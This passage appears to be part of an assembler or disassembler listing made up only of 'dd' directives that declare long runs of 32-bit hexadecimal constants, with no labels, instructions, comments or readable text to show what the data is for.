0AEA1C6AEh, 0C0306932h, 7694E708h dd 1BA700AEh, 632D7F15h, 3F09AC80h, 0E4A82279h, 0B2384448h dd 7F80891Dh, 0FC3E900h, 764A3233h, 277C90h, 7A84FC18h dd 0DD9D355Ch, 380010B5h dd 8AF00A6h, 6096F295h, 0A7002556h, 0DC116EFEh, 48E48AFAh dd 0B00F4C15h, 0B126CB43h, 2B01084Ch, 0C56355Bh, 593002C9h dd 933797Ah, 6A60F4ADh, 7F1848C4h, 0D19AB6DBh, 2EFE8C4h dd 68EC70D2h, 452BA43h, 0C872093Fh, 7ADC8978h, 46EC1360h dd 57C8B46Fh, 0FEC00116h, 0B50690F2h, 3922CA72h, 0D233A1Dh dd 28CC25h, 0AA3CE648h, 8FADAF72h, 3D4F3772h, 10097453h dd 0AA08698Ch, 48379460h, 0BE2CB012h, 20F3645Ch, 7AC6D0h dd 0A789ECCh, 43CBCDF4h, 550738B0h, 0B7CEA30Fh, 0DC8DFB75h dd 61301E6Eh, 0A8002111h, 0C02928D6h, 8400CE2Ch, 78B37E8h dd 1FFE278h, 53661A73h, 4056F5FBh, 8C76350h, 58E28496h dd 388852F0h, 0A305D5C6h, 0B80A7087h, 6117E080h, 0D51B0067h dd 0E3422A98h, 0B000C22Ch, 9F5E814Eh, 26E32BFh, 3848F7BBh dd 8CC6A1D1h, 46006978h, 6F396B33h, 99FD85h, 0A1C0A5C9h dd 570EC63Dh, 10065E6h, 0EDC3348Ch, 1B5425Ch, 196D31F9h dd 8A33302Fh, 0D8098219h, 55139B80h, 1C0A8B87h, 0D70B88h dd 0E2385F98h, 15050670h, 966D915Dh, 102AAC82h, 0B47287ADh dd 0B0F1A831h, 72003C74h, 90B739CDh, 2D60F690h, 18902925h dd 242754A5h, 0EA0C9044h, 7A3F0B58h, 1780DE51h, 41A5F762h dd 0BC1C7600h, 53EA366Ah, 80B4024Eh, 7F9716B3h, 84A6C0E0h dd 1F65B100h, 714FC3B9h, 4C19314Dh, 802E280Ch, 548EFC80h dd 0E697DBA7h, 0FDDC0F79h, 8D848FBFh, 87B64730h, 7018CAD2h dd 0DDD0F914h, 0FFE6029Fh, 8399F19Bh, 0AB80B85Eh, 610DC4BEh dd 7B330092h, 17AA77Fh, 0A300E025h, 245E316Ch, 40EDA026h dd 0BF2C4212h, 0CFC1DCAFh, 543C900Bh, 0DEC8B380h, 0F8B989BEh dd 0A66F8D81h, 3230EA75h, 0F2860492h, 809B607Dh, 40CAFE4Ch dd 65AA370Ah, 2B86F0F3h, 7519FD18h, 9FB49458h, 6817CCF3h dd 0FC000AC8h, 0C869367Fh, 7CF03A13h, 94B948B7h, 21808C40h dd 66A58AFCh, 0B24314A8h, 5524644Ah, 8AA8404Ch, 0F004C42h dd 18924A56h, 8CDDFBh, 8E9747DFh, 7213FFB1h, 70C8D14Bh dd 58A4B2ECh, 0E9095CBAh, 6853BE58h, 80111C89h, 59D59A50h dd 44B9F2h, 0DCEA8A42h, 1509ABC5h, 983D66B5h, 0F9F4E4h dd 9914E901h, 0AA75097Fh, 0D2418E01h, 4EA84B7Ah, 0E003C23h dd 35195D70h, 80F8916Eh, 1262B63Eh, 0A22325h, 1E8BCF03h dd 384C6765h, 412D30E4h, 26F827C9h, 12F4F905h, 0D338D068h dd 0B200BDDCh, 0B932F083h, 24619A35h, 0A78434E8h, 18008464h dd 0F3950381h, 19E2CECh, 0DBC9EB46h, 7150D766h, 48298090h dd 74C1C2DDh, 0AD2B0090h, 0E4CBCF36h, 6312C9BDh, 2CF5FF35h dd 5E54373Bh, 2A1D8882h, 0E42624F4h, 5145601h, 0A858F458h dd 50DC52B3h, 10005A22h, 0C6233C39h, 0B436F6h, 2BB75008h dd 7B7A624Fh, 7300348h, 0EA4AE825h, 0E544B9D1h, 0F5C40871h dd 22809229h, 582554BCh, 68D849FCh, 38C403Bh, 0E9C973D0h dd 846E6200h, 555EBBC8h, 9099063h, 27FA353h, 51FD7060h dd 0A4C75C89h, 160974F0h, 0A2FCC7DBh, 0F90E77E4h, 8AE5685Ah dd 0CC810CC8h, 0EB74E6E7h, 1413D2E0h, 0EC5EF1C2h, 58D8C426h dd 6F9034B4h, 170B2B00h, 19FE799Ch, 0D9D81324h, 16CA0181h dd 0E9FFCA09h, 0C9C05145h, 253A112Eh, 58F6A4FFh, 0CB8FE300h dd 0E217246Ah, 17C3400h, 0AC18BD55h, 2C62755Fh, 0A96C4803h dd 9B6F806Ch, 0AC88646Ah, 1ECA3Dh, 0F8F2EF51h, 0B1824A95h dd 27B900C0h, 91ADDBCBh, 106B0805h, 9E02A884h, 406D9518h dd 48DD8B9Ch, 580C6894h, 0F39949FAh, 0B3768900h, 0B2246E2Fh dd 0F75400F1h, 3719193h, 0BCC672h, 4890BE8Ch, 924020BBh dd 81748233h, 5DBAF09Fh, 9707007Eh, 239B09B2h, 5C4E342Bh dd 656B1480h, 90E8EBh, 0D9311103h, 20A51957h, 0E3036EFEh dd 0C3A2064Dh, 7B8A89F7h, 10AF6C80h, 0BA753D81h, 12F42900h dd 0EBB75814h, 3ED23E69h, 0F810DD27h, 0ED024233h, 908325A2h dd 40DC5C3Bh, 179EE131h, 64798107h, 181023EFh, 95097F3h dd 0DC1F39F8h, 0AD20F816h, 0A0050EAAh, 62C2884Dh, 7CC058E8h dd 0D800D07Ah, 609DF0A1h, 0C4B56C7h, 0CE1027B8h, 82001618h dd 5E7883B1h, 0A0B62590h, 9891AEC0h, 0F026095Ch, 2080CFBBh dd 2F108E9Bh, 9819A003h, 0DF3669BCh, 2DFC83C0h, 7C4C0DBAh dd 43406B3Eh, 40086444h, 6C26DA8h, 1902BBC4h, 0CFB24401h dd 0AC6EAFDFh, 0F0BEA884h, 1CC50ED9h, 0F68D0620h, 304355E7h dd 0ACDF9100h, 0E2E54A2Ch, 308B32FEh, 0D5025AE8h, 0B6D10CFh dd 879C7C84h, 4E084610h, 4B846764h, 700086B4h, 1E21080Fh dd 474A3E8Fh, 334E9BB4h, 97F0357Eh, 5E124D47h, 70E293DFh dd 0EE483A7Bh, 0E1197C00h, 8B7EF9C6h, 708C8E1Ch, 50305052h dd 0E2CE4636h, 72580249h, 0D5E8BD68h, 0AEBCF848h, 64FB1927h dd 330E000h, 439404A4h, 1D9067FDh, 4C248031h, 0BB041465h dd 0E8006F0Eh, 28F7B649h, 4484Ch, 192FDF7Dh, 10F4C7CEh dd 764F0CF2h, 58DBCD12h, 0D7B8F000h, 5D266CAh, 697F62A1h dd 0BA83BF11h, 35200EA2h, 66E50A3Dh, 652038F1h, 786A46h dd 13318FF0h, 0CD0A742Ch, 0B7284695h, 3F050810h, 5C9D2E04h dd 0C0FCCD25h, 0DEDB0780h, 0D0015E0Ah, 43C541E3h, 2468A3BAh dd 0D3844F88h, 0E481F7FBh, 209F1620h, 129355Dh, 0D57C71F4h dd 0F0D9C5C6h, 67044E29h, 55F28BFFh, 800040A2h, 0EBA3C15Fh dd 0A400DAC4h, 6F9923D1h, 0FC2B314Dh, 8ACA009Dh, 0C25BFCB9h dd 0F400B236h, 716BF252h, 11E1B7h, 0DD72A0DAh, 6C2AD5C7h dd 2575D3Ah, 0EB9ABF52h, 0E434E0E8h, 0F2D100CAh, 17D6328Bh dd 3B0079D8h, 0AD9F353h, 1F7F85B6h, 40CCEFD0h, 366476A6h dd 0AC60B842h, 0D1B624D1h, 9ECE31C9h, 72F85910h, 87983A80h dd 0DC270AA0h, 6631ECh, 4EF9160Ch, 0FB423CD9h, 4F2E69ECh dd 520030A8h, 0D8D3ED7h, 0FDC72AEh, 129BDE89h, 188C0B60h dd 3033D344h, 0E0071106h, 80109834h, 49005024h, 2BF4853Eh dd 79502h, 0F206176Ch, 46A34CEh, 0A828DF6Eh, 47914Eh, 4044340Ah dd 1EE788B1h, 0CE295D9Ch, 0A402F2FFh, 4F609060h, 5800FCBAh dd 0FB8A67C9h, 34CC6Ah, 0CB229450h, 6B8B2ABBh, 79EE1B07h dd 0B9205EE7h, 790113A5h, 2D8D00FAh, 0EDC6419h, 62002872h dd 0B886EB89h, 464481h, 0F0AA1E42h, 38EE5B10h, 7262F800h dd 88828901h, 4C7E47h, 45A167E4h, 1EA5C571h, 0AE3EFE75h dd 0D5A80035h, 92241BC2h, 496B009Dh, 6A6C29BFh, 0A5F8662Bh dd 0AA54D903h, 0B8205C8Fh, 13F1F2D8h, 0B2B637h, 0B4811D60h dd 5650D019h, 880099ACh, 2BC08D45h, 67E83Ch, 4721E793h dd 0C5763EEAh, 0B101697Bh, 8F7A06A5h, 0A9200E58h, 0F38A03E0h dd 521B83A8h, 0CCA2E2B0h, 1236DE00h, 0A43EEF45h, 4EC7004Fh dd 0C66CBBA0h, 8B7D77BDh, 0B396671Ch, 0ED0EF800h, 238D7Eh dd 0A3474137h, 283A6FA1h, 5414D677h, 15F80AD4h, 3EC0D068h dd 37BF8027h, 571D7187h, 707500DEh, 0D0B448F4h, 0BB015650h dd 5A95EE45h, 0E5D40824h, 52AE0038h, 0B2CDE29Ah, 0B90E94DEh dd 20F1A940h, 3F1073ADh, 0AE63064Ch, 18ABA76Dh, 4ABFC000h dd 16DD1C9Eh, 39D902E5h, 5C9C1D0Dh, 0D0567C60h, 0F7002FE2h dd 4951EB61h, 5D90A2h, 3A761FE0h, 65C303B2h, 94995Ch, 9CA7BF2Eh dd 4BF233h, 21E667ACh, 0A583F1F0h, 12160C72h, 0F9002AE5h dd 6175B5B8h, 9082EC07h, 0C1AE007Ch, 6E81402Ch, 1800EC86h dd 478DE694h, 204F37h, 0C2AC4821h, 1FA0BF46h, 0FAFB2F01h dd 5F250EBCh, 88BBC643h, 0DACAF8h, 5794097Eh, 0E3A5212Eh dd 0DD3B80E2h, 0EAD480ECh, 96F229A2h, 86C400F0h, 2640BD3Bh dd 23070A2Fh, 72A5933Ch, 408057B4h, 7466394h, 0C6562F4h dd 708CE7B8h, 0D59EACCFh, 9C680602h, 0C0B3E978h, 0C221B2Dh dd 0C7B79A24h, 8F09EA16h, 5AA2979h, 0CDC5B4B6h, 261DF452h dd 11976440h, 5A1F9Eh, 790C0E3Eh, 714B1238h, 7BF5700h dd 644A55AAh, 0F9680EFDh, 3BA0BB4Dh, 6B39B841h, 0B5082101h dd 5FD18B83h, 3C72B083h, 4DB0F605h, 0D00069F0h, 95138A8Dh dd 3F934A7h, 5066D639h, 29908C05h, 6304E46Ah, 0D0A63897h dd 4FEE8080h, 0F80F00ECh, 927343B5h, 0EF0380FCh, 0B4C9975Fh dd 3109D014h, 452939AAh, 9695A500h, 42CACC90h, 397410C1h dd 104077B0h, 1C3BE748h, 0C04E6DC1h, 0C651254Bh, 3005971h dd 203EE91Fh, 9022369h, 0C94AFE81h, 250B0800h, 0BF04945Bh dd 0F5EFA6E8h, 782FFC80h, 5588008Eh, 0B89A5365h, 0E500CAF2h dd 4F31CB36h, 990875h, 38B38AD7h, 797312FDh, 0C83EB200h dd 0E9A2FC7Fh, 8E6402F1h, 48A92CAFh, 2D441460h, 0A1740A40h dd 22FC6FCCh, 79DA00D7h, 0BB4A6C2Bh, 65144070h, 0B42A34h dd 0A35712A7h, 118F616h, 2BF317A8h, 8309F1C5h, 38AEF768h dd 0BE158879h, 7830FDFBh, 996E004Bh, 0D4C5A849h, 9D00A05Ah dd 8AD61E3Eh, 0A9F1F7h, 0F301289Bh, 264B3CCEh, 0F53DC307h dd 16D16F02h, 9520C864h, 536D0323h, 0CBD4BBBh, 6C1DB804h dd 0FA80384Ch, 0F4594EFh, 0FAF70F21h, 9858AC41h, 40C30EEh dd 167E48h, 0BE72F392h, 9C483Ch, 32B4D31Ah, 0F6137383h dd 0A6EF7109h, 0CBF880E4h, 25F209h, 0E203EA06h, 4CE5971Ch dd 4000A170h, 0E768DA22h, 3EF0176h, 0AE266AC8h, 55A02DD8h dd 4500CDA7h, 0BB9FA72h, 343944h, 57A35F15h, 485A78F6h dd 7773F33Fh, 0B98FFD00h, 0C4BCF08Dh, 0D7FF3D28h, 250720C8h dd 805A2608h, 9DDA4824h, 0E418FC60h, 777D652h, 619EDDFAh dd 4F7C103Ah, 40548687h, 9001C1E8h, 2AB273C2h, 83031A1h dd 0AC4C0752h, 0AA4D6205h, 75BF00A9h, 461B5E5Dh, 40F06801h dd 0B372AC08h, 667CC8h, 1A92BB59h, 0B9F2105Ch, 0C1EA5DEEh dd 4A02D800h, 0F3F6FFB0h, 0F50707ABh, 616B0999h, 60F975B1h dd 471680A2h, 0BC400CF0h, 561F3BECh, 0C084006Bh, 0F87BCDF9h dd 423AEF38h, 61C100BCh, 9AD3F75Bh, 48567F4Ah, 0E0005C81h dd 0EDA66E0Ch, 85047505h, 711C321Ah, 0D95DB7C3h, 470965Ah dd 0FDFC0034h, 0DD9B12F7h, 8449A53Ch, 99621EA8h, 0A4002293h dd 8836C340h, 767472h, 29737787h, 2379698Bh, 7B6F9100h dd 46628E21h, 61951326h, 58870141h, 609A1C40h, 0A53F1010h dd 8D9E055Dh, 60D048E2h, 742BE8D4h, 11AC1387h, 4A7840CBh dd 0CA8E8032h, 9728770Eh, 89378EC2h, 20F18BEBh, 0E38A8C78h dd 32050348h, 0A7BEFABh, 2091C4A0h, 9502C578h, 823314E5h dd 0E397818Ch, 0A3D8AE6Ch, 0D6CA0058h, 1DD954EEh, 3F00FF03h dd 7BFE7384h, 3A2B80DDh, 5D0D164Ah, 0CCA9521Ch, 8A015942h dd 150CC5D6h, 8409A8Bh, 60E5CC94h, 7B9B8079h, 5766C8E6h dd 3FAD639h, 63E0564Eh, 20A75E4Dh, 0D103314Fh, 1178CA50h dd 0F7039281h, 0CCE005DAh, 54179814h, 0D8004FABh, 0AC09080Ah dd 24E500EAh, 683C1187h, 0A700C5D5h, 0BE36157Ch, 19C754h dd 0D8F6C60Eh, 92DB561h, 1E165700h, 114177C1h, 4E04DF7h dd 78A80078h, 0FD562FDEh, 19C0F18Bh, 1C03C742h, 15313EBh dd 0D53F1E08h, 0D107BC2Ch, 0F0D87F4Bh, 772488CEh, 0A3BC6F2Ch dd 832F1906h, 7D00018h, 853126B1h, 0D3780406h, 37B8731Eh dd 8CE69200h, 6CC6F4CEh, 7F581AC8h, 0C4AE9300h, 1CD60F9Bh dd 9FCB0F79h, 5407A070h, 281F0611h, 5730C3F8h, 14E185Ch dd 9914614Bh, 0F8DD2BFAh, 68CFC48Dh, 1E7AC098h, 0C0ACEEEh dd 0F31B93BCh, 8E32D6A1h, 20E2800Ch, 7FA39146h, 0B27B58C3h dd 0A80F890h, 33C1188Dh, 0D740180Bh, 0E9BC650Fh, 4CDC8753h dd 800D5B82h, 57F67994h, 179B0940h, 274448h, 4AB5A7DEh dd 90721C48h, 431382F5h, 458C00DFh, 6C92C790h, 0E8520933h dd 0B56CC42Fh, 6D010EF1h, 6E07DF75h, 941C204Ch, 0D2DB4B15h dd 127F0DCCh, 82611843h, 2DB04050h, 951607ADh, 30A32162h dd 40049AAAh, 9F33F203h, 0E05C3D57h, 29E576h, 2DEDE795h dd 0E9BB4397h, 77D458C7h, 590AC46h, 57D09567h, 7B8C0C2Ah dd 0C8C07AE8h, 0AF071174h, 5B28C4A3h, 10BCC77Dh, 0EF10CBF6h dd 0C7207C62h, 0BFCC08B4h, 99D67587h, 27116CA4h, 2E157101h dd 80765A97h, 0A3779943h, 51212C20h, 3C3300A4h, 1293DF4Ch dd 10E488D0h, 0C604AC47h, 841746C2h, 3A4A5C8h, 94D0FB38h dd 8912EA49h, 6F0D0A92h, 3BEC90A6h, 0F0DD608Fh, 39068CB5h dd 10FE4B30h, 0F34CDEh, 8EB402DBh, 0F66A9F86h, 0BF3AE901h dd 3D387F77h, 0E06515E4h, 5C71CFh, 954C9B4Dh, 90ED68C4h dd 0AA301D01h, 1B501AF2h, 0F35D4h, 49281F8Fh, 0BFCF78DEh dd 0E6597E00h, 5ECA0C66h, 256500F6h, 0E9470661h, 17001592h dd 19606AFCh, 1FEECBD9h, 40CA435Fh, 0F897EBFAh, 0FC00E69Bh dd 448D9355h, 0A854E4h, 8A980AB1h, 0F9EBBADCh, 0B447921Ch dd 0E06A484Eh, 6F8DBB55h, 53E507F8h, 85AB6D64h, 0F19A803Dh dd 5F005575h, 57A1FDF9h, 0F0A6DFFCh, 0A2FA1EEEh, 0FB32CD54h dd 83040A31h, 0CC1D72h, 3570C510h, 0A524327Bh, 0FA627A00h dd 20BB1653h, 217200AEh, 0C587DE2Ch, 7864C486h, 2F219128h dd 101D12CCh, 51C83D5Dh, 0C37542BDh, 64213924h, 0A929903Eh dd 4435A784h, 0D5462B55h, 7CEA79C3h, 89D4BB88h, 6C144151h dd 138112C2h, 8D26C9DAh, 0EEBF0079h, 0F98B8333h, 3700DDC8h dd 0D73A685Ah, 1CA313B0h, 0AE666Bh, 0ACE248D5h, 100AB31h dd 238BDC0Fh, 6B7165h, 4C10C641h, 8EACB685h, 4F379007h dd 0DE6A43h, 16B25474h, 0B74D0079h, 0C15747DDh, 0E500E3E8h dd 0A14E9C07h, 3E71665h, 3541CD0Bh, 0DB0C9FCh, 3D059FA3h dd 5E7FFD18h, 0A0082C5h, 2595BE34h, 8B8F0031h, 73EFCA59h dd 0A11D7686h, 87BCBBF9h, 3A278750h, 0D55C190h, 0AD97039Ah dd 596F19ACh, 8011103Dh, 0E43FA6ECh, 7D843064h, 0D9C000EEh dd 3AAD6335h, 65008E52h, 4683724Ah, 18980512h, 40517F45h dd 0F01F62BAh, 9D04C5CDh, 28932F24h, 0F969807Dh, 73BD384Eh dd 40A0279Ch, 0B7F843E3h, 0E200A3CFh, 77A6A1BAh, 0C0A5C1EDh dd 0B9BD1B10h, 4560EECCh, 0C7BBC70h, 90130011h, 994C9317h dd 8F4815CAh, 0DF9E0058h, 0E89CA6D5h, 0BF580EB2h, 5A00D7FFh dd 8E8574E0h, 33A35400h, 827ED6A0h, 1C760018h, 3DACEC07h dd 2A7956E2h, 0B043EF00h, 0A169C5B2h, 8B100D7h, 26D1A3E0h dd 0C3F6C738h, 76FA0C00h, 0B8F21D45h, 93910074h, 4C2FB617h dd 4378C133h, 4AFFAB00h, 0F9252CCBh, 36E46Dh, 72B741CFh dd 4D450882h, 5D555B00h, 5F24ED2Bh, 27EA002Ah, 46AE9E4Bh dd 4D1EBF6Bh, 0EB001C4Eh, 1A76C841h, 5AA8A038h, 6AD20074h dd 0B3701B6h, 887C9815h, 0F2467300h, 53ECD64Ah, 3E7517E9h dd 80751F0Dh, 493DF6E5h, 0A0019CC2h, 337AEEAh, 8DC56053h dd 156BF8h, 0AA96829Ah dd 0F25CF7DFh, 0BC8A4100h, 7F9E897h, 0B7A90057h, 9DB08254h dd 3B5CBF06h, 15A515F6h, 85D400D8h, 9E021A81h, 0EF2C3F8Bh dd 0CFCB0980h, 9541E4B9h, 33BB2402h, 415E1D62h, 0D5C49218h dd 0F211EC36h, 0FFB32065h, 7DEA3D00h, 5A16D204h, 0BEB761Eh dd 6862517h, 9CF73F81h, 53A2FC2Ah, 6113AE0Ah, 0DC00D89Bh dd 6C58CDF5h, 7CC00CC8h, 9E18988Dh, 9A8EF900h, 9B973A94h dd 0F0100220h, 8C458F3h, 7B8B040h, 0D2625F00h, 8B6F90C6h dd 0CF680E21h, 2521CCB5h, 80DF056Ch, 26FB2DEEh, 50E788E5h dd 898491h, 0D3933ECEh, 31240E79h, 671D4F03h, 0E872BA27h dd 1F7FD7B9h, 87BEF4BFh, 0C04CD505h, 0F8E14E45h, 0AB18EB03h dd 876DC0A7h, 0EDDC54C0h, 59FF00E9h, 0C80D09FDh, 5F1F0A58h dd 0FA0076E5h, 7A4FA710h, 0CE0B0047h, 0A523E782h, 9114B351h dd 0EA0B07Dh, 72B226h, 0AFCF4D3Ah, 2EEB0090h, 9240FF4Ch dd 2F1E5CE0h, 0D80086F7h, 8459BDE8h, 5D7943h, 1836A296h dd 42C903C4h, 0BAC7D902h, 0E0BC5016h, 0E30DCA6h, 0E5625141h dd 0F6E64800h, 0BA3CA1E4h, 5F00FD0Ch, 0CA5B7FB1h, 70511A8h dd 210D43BFh, 9FFC044h, 0FC00E320h, 3616D1Dh, 92FDEA0h dd 392A8873h, 0ED5B8CB9h, 68803466h, 5E00BC90h, 0A46DECD1h dd 32C6C13h, 778ABBDh, 95EF65D3h, 3303C0DBh, 0F40528F5h dd 913F09C1h, 3CA2A4C0h, 0C28901FCh, 0DB1738ECh, 88C8D285h dd 7092F894h, 1D25CA14h, 0A5E201E0h, 1EE1148Fh, 432C1080h dd 0BEF57D85h, 477E880Fh, 0AD40FE20h, 0D4E0B14Bh, 796603E5h dd 0D58FB52Ch, 3308EE88h, 0E27D60C3h, 0C2C93D42h, 5583B10Dh dd 0A0642058h, 0A3FD6101h, 0E16214AFh, 5C0B8C20h, 932481F9h dd 5BE500ACh, 0BBF52F91h, 0A54A3C00h, 17EE1B2Bh, 3B9E7866h dd 2843F19h, 80E2CD69h, 74C82B78h, 0F9F8B201h, 0FFB59388h dd 55F4D0h, 0B0AF03ECh, 76EADF60h, 0C7F22E0Fh, 1B56ED3h dd 0E8043BD2h, 0F25A470h, 1F11DB7Ah, 62800073h, 0D531F487h dd 0A0808B01h, 0C4301701h, 3E3BD820h, 2E8296EFh, 0C88FAA29h dd 0FCD88140h, 2C47A106h, 3D8B051h, 0E6B106A6h, 1000BA9Ch dd 48EC1360h, 1CBFE391h, 0C0CEDF84h, 12BB01B7h, 271CC818h dd 6140097Eh, 0AC5E2556h, 0F70B003Fh, 52877BEEh, 8C2CE6BAh dd 610B1053h, 6B382740h, 0FC132F87h, 2459E909h, 901034h dd 2E27CA30h, 1B87E6FFh, 6AFEF0E1h, 8BD0C654h, 923B7A12h dd 7CB3EC02h, 89560ABh, 0A0627FDCh, 1424CD8h, 788A3C57h dd 8B45D80Dh, 1DA2719h, 0A6F3B834h, 8D6ADC40h, 9FD30088h dd 4C837344h, 0A0C0F826h, 16F93864h, 0B0E0703Dh, 5C7A0308h dd 7F6FC3BAh, 22A9B901h, 2D9E8F05h, 10A1096h, 0A7F00DABh dd 566080B9h, 0FF7B50D1h, 3C21F4AEh, 30808D49h, 0B6DF1B9Fh dd 0BE05162Bh, 8E5F3B2Ah, 0AA97E002h, 0D0904093h, 0E86E48E5h dd 0B3ABB401h, 80DE36EFh, 0CAFEBA48h, 4C5ED77Ch, 3F263874h dd 2B803892h, 0C05AECB9h, 0B24C0198h, 0A6121C34h, 0C177C440h dd 8B5102h, 6DF362DFh, 97A4C804h, 3A2B2300h, 0A11CFC6Ah dd 7CA81695h, 0DB544040h, 8C37E85Eh, 7D8DBE38h, 34240126h dd 4654080h, 2AF36C51h, 11D01159h, 1F3A73B8h, 0E74EA3ACh dd 0A2DE402Bh, 7E32F3E6h, 0DC2205B9h, 3B0E34Fh, 7B168294h dd 0E4DE91C0h, 0D91270F9h, 0C680FA00h, 0A547C03Fh, 63CE0355h dd 0AC1FE507h, 898021BAh, 6029BE82h, 58EA1B24h, 40CB980Eh dd 5ACF30A4h, 0C8FCA34Ch, 7C01D3CAh, 33D517A1h, 0FB1CCDh dd 0E258F2FAh, 0A3043CE9h, 41CAC395h, 0D4CEC3FEh, 5712C2A0h dd 9F7F5800h, 1BFD88D9h, 47382582h, 0D650C002h, 8520A044h dd 1AE6B2h, 3E34E8F5h, 74C12AD2h, 542D4D0Bh, 0E49C20C9h dd 3CD9CD70h, 0A028C611h, 50DC0B80h, 90A188E9h, 0FE8C76B0h dd 0BFF2F9E0h, 70935333h, 0A93FE8E7h, 0B060003h, 0AA64188Eh dd 0BF01B86Fh, 2663491Fh, 77DC21BDh, 659F00E0h, 87FE8173h dd 57072CD4h, 0B3C633A5h, 0E3759320h, 6E17C92h, 0A88BBAE9h dd 3400986Ah, 0EF96685Eh, 30D8FC1Eh, 95D8B724h, 0D203BE0Bh dd 0B36D66DEh, 0C898C16Fh, 0B545DB40h, 0C971007Ah, 0D0BCCE79h dd 977668C0h, 0B25A9900h, 0CB1B5047h, 8AFC66h, 0C4AA6FA6h dd 1532B930h, 5487BE00h, 195CE9CDh, 0C7A700E6h, 21896056h dd 0B67BFA77h, 62FCAB00h, 2231F8F7h, 80E139FDh, 60A31380h dd 0C51BF9Dh, 9800A973h, 0BD69C719h, 5EC80Fh, 0A818A052h dd 0EFB4D629h, 6E015578h, 4D2CFD2Ah, 0E6F04158h, 3C622649h dd 2018174Ch, 1F39CAA4h, 0CF042CB0h, 0A803B811h, 6EAF88D0h dd 0D82405DCh, 8338FFF3h, 44E90AD8h, 1F01D47Bh, 0C463D07h dd 2BE4FB80h, 3A1088C0h, 2ECA0076h, 39FCE74Fh, 0A0DF60Eh dd 58260CB1h, 34A29800h, 38A800CDh, 0BF21563h, 2902BBB9h dd 0CD8CFC8h, 560DC0D6h, 3DF058A8h, 97B08405h, 28B80018h dd 0F19D7159h, 0A377AF00h, 0CC5A37ADh, 0F4E648h, 0E188786Bh dd 8F1E0674h, 861BD426h, 2A9ED14h, 0CA129141h, 0A61961FEh dd 0AED8A9C9h, 0F09A0072h, 5E5004A4h, 331C2794h, 10801607h dd 0CE474C7Dh, 0D35D163Ch, 0C0771D6Ah, 446E28BBh, 8F0049C1h dd 0A4437651h, 71CBACh, 0E49CCEA7h, 147693Eh, 54D1FF00h dd 0C1877F5Bh, 70DFC78h, 0B36B72D3h, 989BF1C2h, 0FAECF869h dd 0EDF35019h, 79D0D819h, 157AA1h, 0A78930E7h, 5AEFAB27h dd 0E6007990h, 2CDE48D9h, 1349593h, 1E09CD05h, 0E0D7908Eh dd 891B4EC5h, 0D898C332h, 0C103AEh, 6F9D7342h, 66A96CE4h dd 37F2F013h, 0C4E55001h, 0DA205289h, 4D1A0042h, 0A4B6E61Bh dd 2E001E9Bh, 8E45CC7h, 1FA6BA7Ch, 40AC1507h, 62A9B550h dd 2F09D064h, 31B4DBh, 0BF0D489Ch, 3C4B0038h, 8E3EA3E3h dd 0CA00649Bh, 0B768DF8Dh, 0D2BC31h, 0D045B086h, 59630812h dd 0BB2BB801h, 0BE647189h, 1DC31DFCh, 0CC2A235Fh, 3A58B2EFh dd 60DCA100h, 4759D340h, 9553009Ah, 49BC1BBh, 2900DF39h dd 327F9944h, 60CE13h, 0C07ECDB1h, 529DF911h, 3CA3BF00h dd 0B9639CD7h, 77A000DBh, 0BA4B2A85h, 0B4000D84h, 9F88C7E8h dd 165E26D4h, 0FADFE45h, 8E8054C0h, 0A501AA9Ch, 4A820800h dd 534BBCCCh, 0D4990034h, 0BF8C95B8h, 4400EFF1h, 1CDB5EFEh dd 24B2CDh, 6FE13AE7h, 6EB57A2Fh, 0B3143D03h, 0F0A0A977h dd 1E23311h, 0C47D7251h, 28D98EE9h, 0BC3F250Ch, 0A035207Ch dd 79A8AF00h, 5CD5E1DAh, 4A1E128Eh, 2A2480A6h, 5624B82Dh dd 0E11E18FCh, 3FFE9247h, 6C97DC61h, 2E5273ECh, 0A090BF29h dd 5DA51DA7h, 66E1C138h, 604B2B72h, 70097534h, 80B6CCB9h dd 0BE7A6BE4h, 0B2A7016Ah, 5E320B04h, 2728DCB4h, 0ECA578C0h dd 604735h, 0E2454BEh, 2E3CB098h, 0AA6784E6h, 0DCF06312h dd 0C83C733h, 0A88CDE68h, 0A02620D0h, 0F700619Ah, 0A18EE616h dd 0A0B89Fh, 958BF1D6h, 0D18A298Dh, 0DDE79600h, 424D6191h dd 144780Eh, 0F2F45E7Fh, 0F825A955h, 400788Fh, 5285C1A2h dd 581657C3h, 9B0000F5h, 36CC8161h, 5B001001h, 0AA2A961Ch dd 17E26C9h, 0EB39496Ah, 744AA5F3h, 0A4FFFECh, 0C6472440h dd 7D2C24h, 0C7D75B55h, 0BBF15A8Dh, 85983F50h, 0B22E011Ah dd 6D7061AEh, 0A2A860h, 89E24310h, 0F5E6F641h, 67946E00h dd 833DA788h, 71662EB3h, 6F25050Ch, 0F788009Fh, 62A28031h dd 37500978h, 3E0036B0h dd 9803924Bh, 5E8CCEDh, 6B998941h, 0ADE0D073h, 3FE6C726h dd 0C80B5Ch, 0E2EF8A84h, 609B6C48h, 0DAA3D0C2h, 4F03B727h dd 0DB0E4C34h, 7A6EF888h, 4CACB22Bh, 7800DC52h, 2AE19663h dd 430F35E7h, 21D7C6C0h, 0FC75A755h, 0B9B8C8h, 9D1951EBh dd 5EBF4F37h, 863CF0FAh, 41E68066h, 557AAC63h, 901B502Fh dd 5D741E79h, 52DF40C8h, 726E138Ch, 281EE1E2h, 0F2404193h dd 29D9843Dh, 6FBC074Dh, 31E5CEF4h, 80730380h, 9B0EDA91h dd 1D661E77h, 4056C42Bh, 3AAB38E9h, 0CAE83313h, 0D9793D01h dd 76A5A958h, 1C1A08F8h, 819635D8h, 13735BECh, 2B8840C1h dd 3D006FA1h, 9814BDD4h, 60B41E62h, 5D4F70F6h, 0EA73DBB7h dd 6BFA4BF0h, 0BD6F7D0Eh, 5F4DE0C9h, 1C20B21Fh, 25C85FDh dd 93D872C1h, 0E60788A1h, 3038FCh, 0A9D54696h, 125AC8FBh dd 0F306F83h, 47A00630h, 0DB3D65D6h, 17C1770Eh, 0A321403Bh dd 0F82B6E7h, 1E55C54Bh, 8C42F3E0h, 627352E6h, 0F80B657Fh dd 82747h, 9CD5B98Fh, 33830039h, 3ABE9A15h, 50B4E116h dd 0AC29DB00h, 64FC3194h, 804D2061h, 17D68134h, 7FEDEA04h dd 2CA5F521h, 710C60D2h, 0A09EA3h, 4A7E7581h, 7A00CDB8h dd 95388528h, 0EFFA642h, 0FCACD563h, 0D94D9380h, 480012D8h dd 130561D6h, 33A6BD0h, 5D32EC83h, 1A0D5DDh, 0AE5C7625h dd 1FFF00D4h, 8CC670C8h, 59CC001Ah, 95BF4E91h, 0DB14D9F8h dd 12D4FC85h, 370002E9h, 